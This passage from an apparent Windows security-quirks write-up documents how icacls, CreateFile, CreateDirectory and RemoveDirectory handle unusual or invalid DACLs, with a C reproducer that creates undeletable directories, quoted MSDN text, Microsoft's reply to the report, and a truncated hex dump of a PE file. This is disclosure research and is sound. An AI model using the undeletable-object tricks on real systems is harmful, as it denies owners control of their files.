STEP A: remove all inherited access permissions from directory 'Quirk15d.tmp' processed file: Quirk15d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp "D:PAI" Quirk15d.tmp Successfully processed 1 files; Failed processing 0 files STEP B: add (inheritable) access permissions to directory 'Quirk15d.tmp' processed file: Quirk15d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp "D:PAI(D;;;;;OW)(A;OIIO;0x2000000;;;CO)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;OIIO;CCDC;;;S-1-3-2)(A;CIIO;0x1000000;;;CG)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)(A;CIIO;RCWD;;;S-1-3-3)" Quirk15d.tmp OWNER RIGHTS:(DENY)(S) CREATOR OWNER:(OI)(IO)(MA) AMNESIAC\Stefan:(RD,WD) CREATOR OWNER SERVER:(OI)(IO)(RD,WD) CREATOR GROUP:(CI)(IO)(AS) AMNESIAC\None:(Rc,WDAC) CREATOR GROUP SERVER:(CI)(IO)(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files STEP C: (attempt to) delete directory 'Quirk15d.tmp' Access denied STEP D: remove all inheritable access permissions from directory 'Quirk15d.tmp' processed file: Quirk15d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp "D:PAI(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk15d.tmp AMNESIAC\Stefan:(RD,WD,AD) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files STEP E: create file 'Quirk15d.tmp\Quirk15f.tmp' 1 file(s) copied. STEP F: display access permissions of file 'Quirk15d.tmp\Quirk15f.tmp' Quirk15d.tmp\Quirk15f.tmp AMNESIAC\Stefan:(F) NT AUTHORITY\SYSTEM:(F) The mapping between account names and security IDs was done. (RX) Successfully processed 1 files; Failed processing 0 files Access denied STEP G: (attempt to) delete file 'Quirk15d.tmp\Quirk15f.tmp' Could Not Find C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp\Quirk15f.tmp STEP H: add access permissions to directory 'Quirk15d.tmp' processed file: Quirk15d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp "D:PAI(D;;;;;OW)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk15d.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\Stefan:(AD) AMNESIAC\None:(S) AMNESIAC\Stefan:(RD,WD) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp\Quirk15f.tmp "D:AI(A;;FA;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;FA;;;SY)(A;;0x1200a9;;;S-1-5-5-0-231840)" STEP I: delete file 'Quirk15d.tmp\Quirk15f.tmp' STEP J: remove access permissions from directory 'Quirk15d.tmp' processed file: Quirk15d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp "D:PAI(D;;;;;OW)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk15d.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\None:(S) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files STEP K: create subdirectory 'Quirk15d.tmp\Quirk15d.tmp' STEP L: delete subdirectory 'Quirk15d.tmp\Quirk15d.tmp' STEP M: (attempt to) delete directory 'Quirk15d.tmp' Access denied STEP N: modify access permissions of directory 'Quirk15d.tmp' processed file: Quirk15d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15d.tmp Access denied Quirk15d.tmp: Access denied Successfully processed 0 files; Failed processing 1 files STEP O: delete directory 'Quirk15d.tmp'Ouch⁴:
ICACLs.exe adds
inheritable ACEs
with the invalid access masks
AS alias
ACCESS_SYSTEM_SECURITY and
MA alias
MAXIMUM_ALLOWED to
DACLs!
Note: without an inheritable ACE from its parent object the default security descriptor from the process’ access token is applied to a new object.
Ouch⁵: both
CACLs.exe and the builtin
Del
alias
Erase
command of the Command Processor fail
without SYNCHRONIZE access
permission to the parent directory of the filesystem object to
access!
Note: both ICACLs.exe and
CACLs.exe fail (expected)
when the ACE
(D;;;;;OW)
with access mask 0 alias
NO_ACCESS is present in the
DACL;
it overrides the implicit RC alias
READ_CONTROL and
WDAC alias
WRITE_DAC access rights granted to
the object’s owner and has the same effect as the
ACE
(A;;;;;OW).
Ouch⁶: the builtin
Rmdir
alias
Rd
command of the Command Processor
succeeds despite the missing SD
alias STANDARD_DELETE access
permission!
STANDARD_DELETE access permission as well as to deny
(un)intentionally any access to (filesystem) objects via the
ACCESS_SYSTEM_SECURITY and MAXIMUM_ALLOWED
access permissions!
They replied with the following statements:
Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
CreateDirectory()
and
CreateFile()
are documented in the
MSDN as
follows:
[…]BOOL CreateDirectory( LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes );
lpSecurityAttributesA pointer to a SECURITY_ATTRIBUTES structure. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new directory. […]
The[…]BOOL CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
lpSecurityAttributesA pointer to a SECURITY_ATTRIBUTES structure that contains two separate but related data members: an optional security descriptor, […]
The lpSecurityDescriptor member of the structure specifies a SECURITY_DESCRIPTOR for a file or device. […]
SECURITY_ATTRIBUTES
and
SECURITY_DESCRIPTOR
structures are documented as follows:
[…]typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
lpSecurityAttributesA pointer to a SECURITY_DESCRIPTOR structure that controls access to the object. […]
A security descriptor includes information that specifies the following components of an object's security:File Management Functions Directory Management Functions The Win32 functions
- An owner security identifier (SID)
- A primary group SID
- A discretionary access control list (DACL)
- A system access control list (SACL)
- Qualifiers for the preceding items
DeleteFile(),
DeleteFileTransacted(),
MoveFileEx(),
MoveFileWithProgress(),
ReplaceFile()
and
RemoveDirectory()
are documented in the
MSDN as
follows:
[…]BOOL DeleteFile( LPCTSTR lpFileName );
lpFileNameThe name of the file to be deleted.
[…]
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
Oops: the highlighted sentences above and below but contradict the linked MSDN article File Security and Access Rights by 5÷1![…]BOOL MoveFileEx( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, DWORD dwFlags );
lpExistingFileNameThe current name of the file or directory on the local computer.
[…]
lpNewFileNameThe new name of the file or directory on the local computer.
[…]
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and get all the access you request on the handle that is returned to you at the time that you create the file. If you request delete permission at the time you create the file, you can delete or rename the file with that handle but not with any other handle. For more information, see File Security and Access Rights.
[…]BOOL MoveFileWithProgress( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, LPPROGRESS_ROUTINE lpProgressRoutine, LPVOID lpData, DWORD dwFlags );
lpExistingFileNameThe current name of the file or directory on the local computer.
[…]
lpNewFileNameThe new name of the file or directory on the local computer.
[…]
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the DACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
[…]BOOL RemoveDirectory( LPCTSTR lpPathName );
lpPathNameThe path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
RemoveDirectory()
but fails to delete empty directories created with the same access
rights as files!
Create the text file quirk16.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#ifndef _WIN64
#pragma intrinsic(memcmp)
#else
#pragma function(memcmp)
int memcmp(char const *left, char const *right, size_t count)
{
size_t tmp;
char cb;
for (tmp = 0; tmp < count; tmp++)
if (cb = left[tmp] - right[tmp])
return cb;
return 0;
}
#endif
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct
{
ACL acl;
ACE ace[ANYSIZE_ARRAY];
} acl = {{ACL_REVISION, 0, sizeof(acl), ANYSIZE_ARRAY, 0},
#if 0 // D:P(A;NP;FA;;;AU)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}}};
#else // D:P(A;NP;SD;;;OW)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
DELETE,
{SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}}};
#endif
const struct
{
ACL acl;
ACE ace[ANYSIZE_ARRAY];
} dacl = {{ACL_REVISION, 0, sizeof(dacl), ANYSIZE_ARRAY, 0},
#ifndef QUIRKS // D:P(A;NP;0x1f0000;;;OW)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}}};
#elif QUIRKS == 0 // D:P(A;NP;FA;;;AU)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}}};
#elif QUIRKS == 1 // D:P(A;NP;0x1f0000;;;S-1-5-15)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_THIS_ORGANIZATION_RID}}}};
#elif QUIRKS == 2 // D:P(A;NP;FA;;;PS)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_PRINCIPAL_SELF_RID}}}};
#elif QUIRKS == 3 // D:P(A;NP;0x1f0000;;;S-1-5-1000)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_OTHER_ORGANIZATION_RID}}}};
#elif QUIRKS == 4 // D:P(A;NP;0x3000000;;;IU)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
ACCESS_SYSTEM_SECURITY | MAXIMUM_ALLOWED,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_INTERACTIVE_RID}}}};
#else // NOTE: construct an INVALID DACL!
{{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}}};
#endif
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_GROUP_DEFAULTED | SE_OWNER_DEFAULTED | SE_SACL_DEFAULTED,
(SID *) NULL,
(SID *) NULL,
(ACL *) NULL,
&dacl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa),
&sd,
FALSE};
const WCHAR szName[] = L"Quirk16.tmp";
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
SECURITY_DESCRIPTOR *lpSD;
ACL *lpDACL;
LPWSTR lpSDDL;
DWORD dwError;
DWORD dwFile;
HANDLE hFile;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"Using security descriptor \'%ls\' to create file and directory \'%ls\'\n",
lpSDDL, szName);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
hFile = CreateFile(szName,
FILE_WRITE_DATA | READ_CONTROL,
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
&sa,
CREATE_NEW,
#if 0
FILE_FLAG_DELETE_ON_CLOSE,
#else
FILE_ATTRIBUTE_NORMAL,
#endif
(HANDLE) NULL);
if (hFile == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateFile() returned error %lu\n",
dwError = GetLastError());
else
{
dwError = GetSecurityInfo(hFile,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
&lpDACL,
(ACL **) NULL,
&lpSD);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"GetSecurityInfo() returned error %lu\n",
dwError);
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu'\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"File \'%ls\' created with security descriptor \'%ls\'\n",
szName, lpSDDL);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
PrintConsole(hConsole,
L"DACL of file differs from original DACL!\n");
if (LocalFree(lpSD) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (!WriteFile(hFile,
L"\xFEFF", // UTF-16LE byte order mark
sizeof(L'\xFEFF'),
&dwFile,
(LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"WriteFile() returned error %lu\n",
dwError = GetLastError());
else
if (dwFile != sizeof(L'\xFEFF'))
PrintConsole(hConsole,
L"WriteFile() wrote %lu of %lu bytes\n",
dwFile, sizeof(L'\xFEFF'));
if (!CloseHandle(hFile))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!DeleteFile(szName))
{
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
if (dwError == ERROR_ACCESS_DENIED)
{
dwError = SetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
(SID *) NULL,
(SID *) NULL,
&acl,
(ACL *) NULL);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"SetNamedSecurityInfo() returned error %lu\n",
dwError);
else
if (!DeleteFile(szName))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
dwError = ERROR_ACCESS_DENIED;
}
}
}
if (!CreateDirectory(szName,
&sa))
PrintConsole(hConsole,
L"CreateDirectory() returned error %lu\n",
dwError = GetLastError());
else
{
dwError = GetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
&lpDACL,
(ACL **) NULL,
&lpSD);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"GetNamedSecurityInfo() returned error %lu\n",
dwError);
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"Directory \'%ls\' created with security descriptor \'%ls\'\n",
szName, lpSDDL);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
PrintConsole(hConsole,
L"DACL of directory differs from original DACL!\n");
if (LocalFree(lpSD) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (!RemoveDirectory(szName))
{
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu\n",
dwError = GetLastError());
if (dwError == ERROR_ACCESS_DENIED)
{
dwError = SetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
(SID *) NULL,
(SID *) NULL,
&acl,
(ACL *) NULL);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"SetNamedSecurityInfo() returned error %lu\n",
dwError);
else
if (!RemoveDirectory(szName))
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu\n",
dwError = GetLastError());
dwError = ERROR_ACCESS_DENIED;
}
}
}
}
ExitProcess(dwError);
} Build the console application quirk16.exe from the
source file quirk16.c created in step 1., with the
preprocessor macro QUIRKS defined as 0 or 1:
SET CL=/GAFy /W4 /wd4090 /Zl SET LINK=/DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=0 quirk16.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk16.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk16.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk16.exe quirk16.obj
Execute the console application quirk16.exe built in
step 2. to verify its proper function:
.\quirk16.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;FA;;;AU)' to create file and directory 'Quirk16.tmp' File 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)' Directory 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)' 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.A file as well as a directory created (for example) with only the DACL
D:P(A;NP;FA;;;AU)
or
D:P(A;NP;0x1f0000;;;S-1-5-15)
can be deleted.
Build the console application quirk16.exe a second time
from the source file quirk16.c created in step 1.,
now with the preprocessor macro QUIRKS defined as 2 or
3:
CL.EXE /DQUIRKS=2 quirk16.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk16.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk16.exe quirk16.obj
Execute the console application quirk16.exe built in
step 4. to show the misbehaviour:
.\quirk16.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;FA;;;PS)' to create file and directory 'Quirk16.tmp'
File 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
Directory 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
RemoveDirectory() returned error 5
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
Error message text: Access denied.
CertUtil: -error command completed successfully.
OUCH: while a file created (for example) with only
the
DACL
D:P(A;NP;FA;;;PS)
or
D:P(A;NP;0x1f0000;;;S-1-5-1000)
can be deleted, a directory created with only this
DACL
can’t be deleted!
Build the console application quirk16.exe a third time
from the source file quirk16.c created in step 1.,
now with the preprocessor macro QUIRKS defined as 4:
CL.EXE /DQUIRKS=4 quirk16.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk16.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk16.exe quirk16.obj
Execute the console application quirk16.exe built in
step 6. to show a second misbehaviour:
.\quirk16.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;0x3000000;;;IU)' to create file and directory 'Quirk16.tmp' File 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)' DACL of file differs from original DACL! Directory 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)' DACL of directory differs from original DACL! RemoveDirectory() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: the Win32 functions
ConvertSecurityDescriptorToStringSecurityDescriptor(),
CreateDirectory()
and
CreateFile()
fail to detect the (intentionally) invalid
DACL
D:P(A;NP;0x3000000;;;IU);
the latter functions apply a
DACL
D:P(A;NP;;;;IU)
instead, granting only implicit
(A;NP;WDRC;;;OW)
access for the object’s owner!
Build the console application quirk16.exe a fourth time
from the source file quirk16.c created in step 1.,
now with the preprocessor macro QUIRKS defined as 5:
CL.EXE /DQUIRKS=5 quirk16.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk16.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk16.exe quirk16.obj
Execute the console application quirk16.exe built in
step 8. to show a third misbehaviour:
.\quirk16.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ConvertSecurityDescriptorToStringSecurityDescriptor() returned error 1336 File 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P' DACL of file differs from original DACL! Directory 'Quirk16.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P' DACL of directory differs from original DACL! RemoveDirectory() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: while the Win32 function
ConvertSecurityDescriptorToStringSecurityDescriptor()
now properly detects the (intentionally) invalid
DACL
D:P(ML;;NXNRNW;;;ME)
and returns the Win32 error 1336 alias
ERROR_INVALID_ACL,
both
CreateDirectory()
and
CreateFile()
fail to detect it and apply the empty
DACL
D:P instead,
again granting only implicit
(A;NP;WDRC;;;OW)
access for the object’s owner!
An application manifest is an XML file that describes and identifies the shared and private side-by-side assemblies that an application should bind to at run time. These should be the same assembly versions that were used to test the application. Application manifests may also describe metadata for files that are private to the application.Windows’ module loader but fails withFor a complete listing of the XML schema, see […]
STATUS_SXS_CANT_GEN_ACTCTX
when a valid
XML encoding
US-ASCII,
UTF-7
or Windows-1252UTF-8
is used in an application manifest!
Create the text file quirk17.txt with the following
content in an arbitrary, preferable empty directory:
4d 5a a0 00 01 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
d8 00 00 00 53 00 00 00 40 00 00 00 00 00 00 00 ....S...@.......
00 00 00 00 19 57 04 27 00 00 00 00 00 00 00 00 .....W.'........
00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 00 ................
51 55 49 52 4b 31 37 2e 44 4f 53 0d 0a 07 43 6f QUIRK17.DOS...Co
70 79 72 69 67 68 74 20 28 43 29 20 32 30 30 34 pyright (C) 2004
2d 32 30 32 31 2c 20 53 74 65 66 61 6e 20 4b 61 -2021, Stefan Ka
6e 74 68 61 6b 20 3c 73 74 65 66 61 6e 2e 6b 61 nthak <stefan.ka
6e 74 68 61 6b 40 6e 65 78 67 6f 2e 64 65 3e 0d nthak@nexgo.de>.
0a 07 24 0e 1f 33 d2 b4 09 cd 21 b8 01 4c cd 21 ..$..3....!..L.!
50 45 00 00 4c 01 01 00 4e 4f 4e 45 00 00 00 00 PE..L...NONE....
00 00 00 00 e0 00 22 0d 0b 01 0a 00 00 02 00 00 ......".........
00 00 00 00 00 00 00 00 00 10 00 00 00 10 00 00 ................
00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 . ....@.........
05 00 01 00 00 00 2f 03 05 00 01 00 00 00 00 00 ....../.........
00 20 00 00 00 02 00 00 ae 0b 00 00 03 00 40 85 . ............@.
00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................
00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
